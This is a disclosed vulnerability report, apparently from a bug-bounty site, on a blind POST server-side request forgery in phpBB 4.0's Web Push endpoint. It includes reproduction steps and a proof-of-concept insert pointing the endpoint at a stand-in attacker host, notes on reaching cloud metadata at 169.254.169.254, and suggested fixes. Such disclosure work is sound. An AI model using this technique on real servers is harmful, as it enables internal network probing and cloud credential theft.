Blind POST SSRF via Web Push Notification Endpoint
phpBB stores a user-supplied Web Push endpoint URL without validation and later sends HTTP POST requests to it. An attacker with a registered account can force the server to make outbound requests to internal services or cloud metadata endpoints.
- Triaged in 29 hours
- Fixed in 44 days
- Disclosed after 2 months
Summary
A registered user can register an arbitrary URL as their Web Push notification endpoint. phpBB stores this URL without validation and later uses the Minishlink WebPush library to send HTTP POST requests to it. This allows the attacker to force the phpBB server to make outbound HTTP requests to internal network services, cloud metadata endpoints, or other attacker-controlled destinations.
This is the same class of vulnerability as HackerOne #1018568 (SSRF in Jabber settings), but requires only a registered user rather than admin access. The Jabber feature was removed in phpBB 4.0 via migration; Web Push was added as its replacement.
Severity
Medium — CVSS 3.1: 5.0 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N)
Affected Version
phpBB 4.0.0-alpha1 (commit 4a57f1ff3c)
Prerequisites
- Web Push notifications enabled by admin (
webpush_enable=1+ VAPID keys configured) webpush_enabledefaults tofalseon fresh install butwebpush_method_default_enabledefaults totrue, meaning once an admin enables it, all users have it active- Attacker has a registered user account
Steps to Reproduce
1. Setup
Enable Web Push in ACP → Board settings → set VAPID keys. Or via DB:
UPDATE phpbb_config SET config_value = '1' WHERE config_name = 'webpush_enable';
-- Generate and set VAPID keys via Minishlink\WebPush\VAPID::createVapidKeys()
2. Register malicious push endpoint
As a registered user, subscribe to Web Push notifications via the browser. Intercept the subscription request to /user/push/subscribe and replace the endpoint field with an internal URL. The attacker must supply valid P-256 ECDH keys (trivially generated).
The endpoint is stored at webpush.php:321-327:
$sql = 'INSERT INTO ' . $this->push_subscriptions_table . ' '
. $this->db->sql_build_array('INSERT', [
'user_id' => $this->user->id(),
'endpoint' => $data['endpoint'], // ← no URL validation
// ...
]);
3. Trigger a notification
Any event that generates a notification for the attacker (another user replies to their topic, quotes their post, sends them a PM, etc.).
4. Server makes outbound request
The notification method at notification/method/webpush.php:248-255 reads the endpoint from the database and sends an HTTP POST via Guzzle:
$push_subscription = Subscription::create([
'endpoint' => $subscription['endpoint'], // from DB, unvalidated
]);
$web_push->queueNotification($push_subscription, $json_data);
Proof of Concept — Live Verified
Tested on phpBB 4.0.0-alpha1 in Docker (PHP 8.2 + MySQL 8.0):
- Inserted malicious subscription:
INSERT INTO phpbb_push_subscriptions (user_id, endpoint, p256dh, auth)
VALUES (2, 'http://attacker-server:9999/ssrf-poc', '<valid_p256dh>', '<valid_auth>');
-
Triggered notification via
$notification_manager->add_notifications() -
Attacker's HTTP listener received:
POST /ssrf-poc HTTP/1.1
Host: attacker-server:9999
User-Agent: GuzzleHttp/7
Content-Type: application/octet-stream
Content-Encoding: aesgcm
Authorization: WebPush TOKEN...
Content-Length: 3070
The phpBB server sent a full Web Push protocol request (encrypted payload, VAPID JWT, ECDH headers) to the attacker-controlled URL.
Impact
Impact
- Blind POST SSRF: the server sends HTTP POST requests to arbitrary URLs. The attacker does not see the response body, but can observe timing, connection success/failure, and response status via the phpBB admin log.
- Internal network probing: port scanning and service discovery of hosts reachable from the phpBB server but not from the internet.
- Cloud metadata access: on cloud-hosted instances, requests to
http://169.254.169.254/can reach the instance metadata service. AWS IMDSv1 responds to POST requests, potentially leaking IAM credentials. - Internal service interaction: POST requests with a non-empty body (3KB encrypted payload) are sent to the target, which could trigger actions on internal POST-accepting services.
Root Cause
webpush.php:subscribe() stores the user-supplied endpoint URL directly in the database without any validation. The W3C Push API specification defines that endpoints should be URLs of push services (e.g., fcm.googleapis.com, push.services.mozilla.com), but phpBB does not enforce this.
Suggested Fix
Validate the endpoint URL before storing:
// Option A: Allowlist of known push service domains
$allowed_hosts = ['fcm.googleapis.com', 'push.services.mozilla.com',
'notify.windows.com', 'web.push.apple.com'];
$parsed = parse_url($data['endpoint']);
if (!$parsed || $parsed['scheme'] !== 'https' ||
!in_array($parsed['host'], $allowed_hosts) &&
!str_ends_with($parsed['host'], '.notify.windows.com')) {
throw new http_exception(400, 'INVALID_PUSH_ENDPOINT');
}
// Option B: At minimum, reject private/internal IPs
$host = parse_url($data['endpoint'], PHP_URL_HOST);
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
throw new http_exception(400, 'INVALID_PUSH_ENDPOINT');
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The subscribe handler stores the user-supplied endpoint URL directly in the database without validating that it belongs to a known push service.
Impact
The server sends blind POST requests to arbitrary URLs, allowing internal network probing, possible cloud metadata access, and interaction with internal POST-accepting services; the attacker cannot see response bodies.
What the attacker needed
Web Push enabled by admin; VAPID keys configured; Attacker has a registered user account
The fix
The endpoint URL should be validated before storage, either against an allowlist of known push service domains or by rejecting private and reserved IP addresses.
How it was found
- Enable Web Push and configure VAPID keys in the admin control panel or database.
- As a registered user, intercept the push subscription request and replace the endpoint with an internal URL, supplying valid P-256 ECDH keys.
- Trigger a notification for the attacker's account, such as a reply, quote, or private message.
- The server reads the stored endpoint and sends an HTTP POST request to it via Guzzle.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you subscribe to browser push notifications, your browser gives the website a web address (the endpoint) where notifications should be sent. phpBB saved whatever address the user provided and later made requests to it from its own server. An attacker could therefore make the phpBB server contact internal machines or cloud metadata services that are not reachable from the internet.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.